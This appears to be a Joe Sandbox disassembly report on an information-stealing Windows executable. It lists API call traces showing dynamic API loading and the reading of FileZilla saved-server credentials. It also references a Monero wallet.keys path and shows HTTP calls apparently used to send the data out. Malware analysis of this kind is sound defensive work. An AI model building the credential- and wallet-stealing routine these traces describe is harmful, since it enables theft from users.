Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,01115A48), ref: 004195FD
GetProcAddress.KERNEL32(75550000,01115768), ref: 00419615
GetProcAddress.KERNEL32(75550000,01128DC0), ref: 0041962E
GetProcAddress.KERNEL32(75550000,01128E38), ref: 00419646
GetProcAddress.KERNEL32(75550000,0112CA28), ref: 0041965E
GetProcAddress.KERNEL32(75550000,0112CBC0), ref: 00419677
GetProcAddress.KERNEL32(75550000,0111B000), ref: 0041968F
GetProcAddress.KERNEL32(75550000,0112CBD8), ref: 004196A7
GetProcAddress.KERNEL32(75550000,0112CC08), ref: 004196C0
GetProcAddress.KERNEL32(75550000,0112CC50), ref: 004196D8
GetProcAddress.KERNEL32(75550000,0112CB30), ref: 004196F0
GetProcAddress.KERNEL32(75550000,01115888), ref: 00419709
GetProcAddress.KERNEL32(75550000,01115948), ref: 00419721
GetProcAddress.KERNEL32(75550000,01115A68), ref: 00419739
GetProcAddress.KERNEL32(75550000,01115968), ref: 00419752
GetProcAddress.KERNEL32(75550000,0112CC38), ref: 0041976A
GetProcAddress.KERNEL32(75550000,0112CAD0), ref: 00419782
GetProcAddress.KERNEL32(75550000,0111AFD8), ref: 0041979B
GetProcAddress.KERNEL32(75550000,01115728), ref: 004197B3
GetProcAddress.KERNEL32(75550000,0112CA88), ref: 004197CB
GetProcAddress.KERNEL32(75550000,0112CA10), ref: 004197E4
GetProcAddress.KERNEL32(75550000,0112CAA0), ref: 004197FC
GetProcAddress.KERNEL32(75550000,0112CA40), ref: 00419814
GetProcAddress.KERNEL32(75550000,01115788), ref: 0041982D
GetProcAddress.KERNEL32(75550000,0112CA58), ref: 00419845
GetProcAddress.KERNEL32(75550000,0112C9B0), ref: 0041985D
GetProcAddress.KERNEL32(75550000,0112C968), ref: 00419876
GetProcAddress.KERNEL32(75550000,0112C980), ref: 0041988E
GetProcAddress.KERNEL32(75550000,0112CAB8), ref: 004198A6
GetProcAddress.KERNEL32(75550000,0112C9C8), ref: 004198BF
GetProcAddress.KERNEL32(75550000,0112CB90), ref: 004198D7
GetProcAddress.KERNEL32(75550000,0112CC20), ref: 004198EF
GetProcAddress.KERNEL32(75550000,0112C9E0), ref: 00419908
GetProcAddress.KERNEL32(75550000,01129B98), ref: 00419920
GetProcAddress.KERNEL32(75550000,0112CA70), ref: 00419938
GetProcAddress.KERNEL32(75550000,0112C998), ref: 00419951
GetProcAddress.KERNEL32(75550000,011159E8), ref: 00419969
GetProcAddress.KERNEL32(75550000,0112CB18), ref: 00419981
GetProcAddress.KERNEL32(75550000,011157A8), ref: 0041999A
GetProcAddress.KERNEL32(75550000,0112C9F8), ref: 004199B2
GetProcAddress.KERNEL32(75550000,0112CAE8), ref: 004199CA
GetProcAddress.KERNEL32(75550000,011157C8), ref: 004199E3
GetProcAddress.KERNEL32(75550000,01115A28), ref: 004199FB
LoadLibraryA.KERNEL32(0112CB00,?,00415783,00420AD2,?,?,?,?,?,?,?,?,?,?,00420ACF,00420ACE), ref: 00419A0D
LoadLibraryA.KERNEL32(0112CBF0,?,00415783,00420AD2,?,?,?,?,?,?,?,?,?,?,00420ACF,00420ACE), ref: 00419A1E
LoadLibraryA.KERNEL32(0112CB48,?,00415783,00420AD2,?,?,?,?,?,?,?,?,?,?,00420ACF,00420ACE), ref: 00419A30
LoadLibraryA.KERNEL32(0112CB60,?,00415783,00420AD2,?,?,?,?,?,?,?,?,?,?,00420ACF,00420ACE), ref: 00419A42
LoadLibraryA.KERNEL32(0112CB78,?,00415783,00420AD2,?,?,?,?,?,?,?,?,?,?,00420ACF,00420ACE), ref: 00419A53
LoadLibraryA.KERNEL32(0112CBA8,?,00415783,00420AD2,?,?,?,?,?,?,?,?,?,?,00420ACF,00420ACE), ref: 00419A65
LoadLibraryA.KERNEL32(0112CDB8,?,00415783,00420AD2,?,?,?,?,?,?,?,?,?,?,00420ACF,00420ACE), ref: 00419A77
LoadLibraryA.KERNEL32(0112CCC8,?,00415783,00420AD2,?,?,?,?,?,?,?,?,?,?,00420ACF,00420ACE), ref: 00419A88
GetProcAddress.KERNEL32(75750000,01115E08), ref: 00419AAA
GetProcAddress.KERNEL32(75750000,0112CD58), ref: 00419AC2
GetProcAddress.KERNEL32(75750000,011286A0), ref: 00419ADA
GetProcAddress.KERNEL32(75750000,0112CD88), ref: 00419AF3
GetProcAddress.KERNEL32(75750000,01115B68), ref: 00419B0B
GetProcAddress.KERNEL32(73AB0000,0111B118), ref: 00419B30
GetProcAddress.KERNEL32(73AB0000,01115DA8), ref: 00419B49
GetProcAddress.KERNEL32(73AB0000,0111B140), ref: 00419B61
GetProcAddress.KERNEL32(73AB0000,0112CCF8), ref: 00419B79
GetProcAddress.KERNEL32(73AB0000,0112CD40), ref: 00419B92
GetProcAddress.KERNEL32(73AB0000,01115BA8), ref: 00419BAA
GetProcAddress.KERNEL32(73AB0000,01115B08), ref: 00419BC2
GetProcAddress.KERNEL32(73AB0000,0112CCE0), ref: 00419BDB
GetProcAddress.KERNEL32(757E0000,01115DC8), ref: 00419BFC
GetProcAddress.KERNEL32(757E0000,01115C48), ref: 00419C14
GetProcAddress.KERNEL32(757E0000,0112CDA0), ref: 00419C2D
GetProcAddress.KERNEL32(757E0000,0112CD70), ref: 00419C45
GetProcAddress.KERNEL32(757E0000,01115AC8), ref: 00419C5D
GetProcAddress.KERNEL32(758D0000,0111B1B8), ref: 00419C83
GetProcAddress.KERNEL32(758D0000,0111B168), ref: 00419C9B
GetProcAddress.KERNEL32(758D0000,0112CD10), ref: 00419CB3
GetProcAddress.KERNEL32(758D0000,01115E48), ref: 00419CCC
GetProcAddress.KERNEL32(758D0000,01115CA8), ref: 00419CE4
GetProcAddress.KERNEL32(758D0000,0111AD30), ref: 00419CFC
GetProcAddress.KERNEL32(76BE0000,0112CDD0), ref: 00419D22
GetProcAddress.KERNEL32(76BE0000,01115B48), ref: 00419D3A
GetProcAddress.KERNEL32(76BE0000,011287D0), ref: 00419D52
GetProcAddress.KERNEL32(76BE0000,0112CDE8), ref: 00419D6B
GetProcAddress.KERNEL32(76BE0000,0112CD28), ref: 00419D83
GetProcAddress.KERNEL32(76BE0000,01115CE8), ref: 00419D9B
GetProcAddress.KERNEL32(76BE0000,01115BC8), ref: 00419DB4
GetProcAddress.KERNEL32(76BE0000,0112CE00), ref: 00419DCC
GetProcAddress.KERNEL32(76BE0000,0112CE18), ref: 00419DE4
GetProcAddress.KERNEL32(75670000,01115B28), ref: 00419E06
GetProcAddress.KERNEL32(75670000,0112CC68), ref: 00419E1E
GetProcAddress.KERNEL32(75670000,0112CC80), ref: 00419E36
GetProcAddress.KERNEL32(75670000,0112CC98), ref: 00419E4F
GetProcAddress.KERNEL32(75670000,0112CCB0), ref: 00419E67
GetProcAddress.KERNEL32(759D0000,01115B88), ref: 00419E88
GetProcAddress.KERNEL32(759D0000,01115BE8), ref: 00419EA1
GetProcAddress.KERNEL32(76D80000,01115C28), ref: 00419EC2
GetProcAddress.KERNEL32(76D80000,0112C818), ref: 00419EDA
GetProcAddress.KERNEL32(6F5E0000,01115E28), ref: 00419F00
GetProcAddress.KERNEL32(6F5E0000,01115E68), ref: 00419F18
GetProcAddress.KERNEL32(6F5E0000,01115C08), ref: 00419F30
GetProcAddress.KERNEL32(6F5E0000,0112C788), ref: 00419F49
GetProcAddress.KERNEL32(6F5E0000,01115C68), ref: 00419F61
GetProcAddress.KERNEL32(6F5E0000,01115CC8), ref: 00419F79
GetProcAddress.KERNEL32(6F5E0000,01115C88), ref: 00419F92
GetProcAddress.KERNEL32(6F5E0000,01115DE8), ref: 00419FAA
GetProcAddress.KERNEL32(6F5E0000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F5E0000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(75480000,0112C7A0), ref: 00419FF9
GetProcAddress.KERNEL32(75480000,011287F0), ref: 0041A011
GetProcAddress.KERNEL32(75480000,0112C830), ref: 0041A029
GetProcAddress.KERNEL32(75480000,0112C6E0), ref: 0041A042
GetProcAddress.KERNEL32(753B0000,01115AE8), ref: 0041A063
GetProcAddress.KERNEL32(6EAA0000,0112C7B8), ref: 0041A084
GetProcAddress.KERNEL32(6EAA0000,01115D08), ref: 0041A09D
GetProcAddress.KERNEL32(6EAA0000,0112C800), ref: 0041A0B5
GetProcAddress.KERNEL32(6EAA0000,0112C8A8), ref: 0041A0CD

Strings

HttpQueryInfoA, xrefs: 00419FCC
InternetSetOptionA, xrefs: 00419FB5

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00407764
RtlAllocateHeap.NTDLL(00000000), ref: 0040776B
lstrcat.KERNEL32(?,01129240), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,0112ECE0), ref: 0040796B
lstrcat.KERNEL32(?,0112EDD0), ref: 0040797F
lstrcat.KERNEL32(?,0112ED58), ref: 00407992
lstrcat.KERNEL32(?,0112EDE8), ref: 004079A6
lstrcat.KERNEL32(?,011292C8), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,0112ECE0), ref: 00407A09
lstrcat.KERNEL32(?,0112EDD0), ref: 00407A1D
lstrcat.KERNEL32(?,0112ED58), ref: 00407A31
lstrcat.KERNEL32(?,0112EDE8), ref: 00407A44
lstrcat.KERNEL32(?,0112EE58), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,0112ECE0), ref: 00407AA8
lstrcat.KERNEL32(?,0112EDD0), ref: 00407ABB
lstrcat.KERNEL32(?,0112ED58), ref: 00407ACF
lstrcat.KERNEL32(?,0112EDE8), ref: 00407AE3
lstrcat.KERNEL32(?,0112EEC0), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,0112ECE0), ref: 00407B46
lstrcat.KERNEL32(?,0112EDD0), ref: 00407B5A
lstrcat.KERNEL32(?,0112ED58), ref: 00407B6D
lstrcat.KERNEL32(?,0112EDE8), ref: 00407B81
lstrcat.KERNEL32(?,0112EF28), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,0112ECE0), ref: 00407BE4
lstrcat.KERNEL32(?,0112EDD0), ref: 00407BF8
lstrcat.KERNEL32(?,0112ED58), ref: 00407C0C
lstrcat.KERNEL32(?,0112EDE8), ref: 00407C1F
lstrcat.KERNEL32(?,0112EF90), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,0112ECE0), ref: 00407C83
lstrcat.KERNEL32(?,0112EDD0), ref: 00407C96
lstrcat.KERNEL32(?,0112ED58), ref: 00407CAA
lstrcat.KERNEL32(?,0112EDE8), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(35795020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(35795020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(35795020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(35795020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(35795020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(35795020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(35795020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,0112F0E8), ref: 00407E4B
lstrcat.KERNEL32(?,0112D570), ref: 00407E5E
lstrlen.KERNEL32(35795020), ref: 00407E6B
lstrlen.KERNEL32(35795020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 5a9025f0fe3e7b7b675bb379860bf30eae6c22c3ff16a282694b9e8f4bc1306e
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: 5a9025f0fe3e7b7b675bb379860bf30eae6c22c3ff16a282694b9e8f4bc1306e
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(0040148F), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
RtlAllocateHeap.NTDLL(00000000), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101D3
StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004102B5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 0041035A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410372
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE

Strings

browser: FileZilla, xrefs: 00410399
password: , xrefs: 0041043B
<Port>, xrefs: 00410206
<Pass encoding="base64">, xrefs: 0041029A
profile: null, xrefs: 004103A8
url: , xrefs: 004103B7
<Host>, xrefs: 004101BC
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
login: , xrefs: 0041040A
<User>, xrefs: 00410250

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateChangeCloseCreateFindFolderFreeNotificationPathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2695953057-555421843
Opcode ID: cd2e5348debe350cab5a2cf03bfd245fdb0a5d62fb3fc6a48e0ef27c239b22fe
Instruction ID: ea805679380283a47974d059346f805a6f5fc7bf81b515052171acf912f39fc8
Opcode Fuzzy Hash: cd2e5348debe350cab5a2cf03bfd245fdb0a5d62fb3fc6a48e0ef27c239b22fe
Instruction Fuzzy Hash: A3D1A671E00108ABCB04EBF1DC5AEEE7739AF54314F50851EF102A7191DF78AA85CB69

Function 00405150 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0040483B
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404852
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404869
Part of subcall function 00404800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlen.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,0112F058), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,0112F1B8,?,0112E710,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

